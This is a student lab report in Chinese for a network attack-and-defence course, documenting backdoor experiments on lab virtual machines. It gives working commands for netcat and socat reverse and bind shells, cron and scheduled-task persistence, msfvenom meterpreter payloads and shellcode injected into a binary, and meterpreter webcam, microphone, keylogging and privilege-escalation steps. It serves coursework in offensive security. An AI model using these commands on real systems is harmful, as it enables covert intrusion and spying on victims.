2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践
实验内容
-
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
-
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
-
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
浏览网页的时候可能会因为浏览器漏洞进行后门的下载
(2)例举你知道的后门如何启动起来(win及linux)的方式?
首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动
(3)Meterpreter有哪些给你映像深刻的功能?
他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现
(4)如何发现自己有系统有没有被安装后门?
安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉
实验一
任务一 Windows获得Linux Shell
-
1.首先使用命令
ipconfig
查看Windows的IP地址 -
2.进入老师给的程序的ncat文件夹中,使用命令
ncat.exe -l -p 5303
监听本机的5303端口
-
3.在kali环境中使用
netcat
命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh
进行连接
-
4.成功获得kali的权限,如图所示
注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下
任务二 Linux获得Windows Shell
-
1.在kali使用
ifconfig
查看kali的IP地址,第二行的就是IP地址了
-
2.使用nc指令监听5303端口
nc -l -p 5303
-
3.在Windows下,使用ncat程序的
-e
选项反向连接kali的5303端口
ncat.exe -e cmd.exe 192.168.1.154 5303
-
4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作
任务三 使用nc传递数据
- 1.首先在Windows下监听5303端口
ncat.exe -l 5303
- 2.在kali下连接到Windows端口
netcat 192.168.1.101 5303
- 3.建立连接后可以进行数据传输下面是我进行数据传输的结果
任务四 使用netcat获取主机操作Shell,cron启动
- 1.在Windows系统下,监听5303端口
ncat.exe -l -p 5303
- 2.使用
crontab -e
指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh
,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
- 3.保存退出后的结果
- 4.在16.45分成功获取了权限
- 实验一借结束
实验二 使用socat获取主机操作Shell, 任务计划启动
-
在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片
-
点击操作选择启动程序程序或脚本填写你自己的
socat.exe
程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr
-
这个命令的作用是把
cmd.exe
绑定到端口5303
,同时把cmd.exe
的stderr
重定向到stdout
上
-
创建完成之后锁定计算机再重新启动即可发现程序已经在运行了
-
然后在kali虚拟机中输入
socat - tcp:192.168.1.101:5303
这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell
-
第二个实验结束
实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali上执行命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe
这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe
在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe
指令,通过-lv
选项看到当前的连接状态,这样被控主机就进入了文件接收模式
- 在kali中执行
nc 192.168.1.101 5303 < 20165303_backdoor.exe
,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
- 这里可以看到已经传输成功
- 在Kali上使用msfconsole指令进入msf控制台
先输入use exploit/multi/handler
使用监听模块,
set payload windows/meterpreter/reverse_tcp
,设置payload
set LHOST 192.168.1.154
设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
set LPORT 5303
设置反弹回连的IP和端口
然后输入show options
在输入exploit
使用监听
运行Windows7下的后门程序
可以看到kali已经获取了权限
- 实验三结束
实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂
-
1.使用
record_mic
指令可以截获一段音频,可以用-d选项设置录制时间
在主文件夹中可以看到保存的音频文件wav
-
2.使用
webcam_snap
指令可以使用摄像头进行拍照
-
3.使用
keyscan_start
开始记录下敲键的过程,使用keyscan_dump
指令读取敲键的记录
-
4.使用
screenshot
可以进行截屏
-
5.使用
getuid
可以查看当前用户,使用getsystem
指令进行提权
-
6.也可以使用
webcam stream
进行录像
实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
可以利用MSF直接生成shellcode注入到程序中
- 这是网上查到的MSF命令行选项
-p, --payload <payload> 使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。
--payload-options 攻击负荷(payload)标准参数(options)列表。
-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。
-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。
-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)
--help-formats 变量格式列表
-e, --encoder <encoder> 使用的编码(encoder)
-a, --arch <arch> 使用的结构(architecture)
--paltform <paltform> 攻击负荷的平台(platform)
--help-paltform 变量平台的列表信息
-s,--space <length> 产生有效负荷的最大长度
--encoder-space <length> 编码的有效负荷的最大长度(默认是使用-s 的值)
-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’
-i,--iterations <count> 对负荷进行编码的次数。
-c,--add-code <path> 指定一个详细win32 shellcode文件给include
-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)
-k,--keep 保留模板行为并且把负荷作为一个新的线程注入
-o,--out <path> 保存攻击负荷(payload)
-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式
--smallest 生成最小可用攻击负荷
-h,--help 显示msfvenom使用信息
现在生成shellcode并注入到pwn1中
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4
然后使用MSF进行监听
先输入msfconsole
然后输入set payload linux/x86/meterpreter/reverse_tcp
在输入set LHOST 192.168.1.154
接着set LPORT 5303
开始监听exploit
在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序
发现成功了
- 首先应该注意给pwn4程序加权限
chmod +x pwn4
- 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86
这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多
总结与体会
遇到的问题
- 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
- 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
- 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来
体会
后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节
后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
当然这是最简单的后门,我们还需要继续努力,多多学习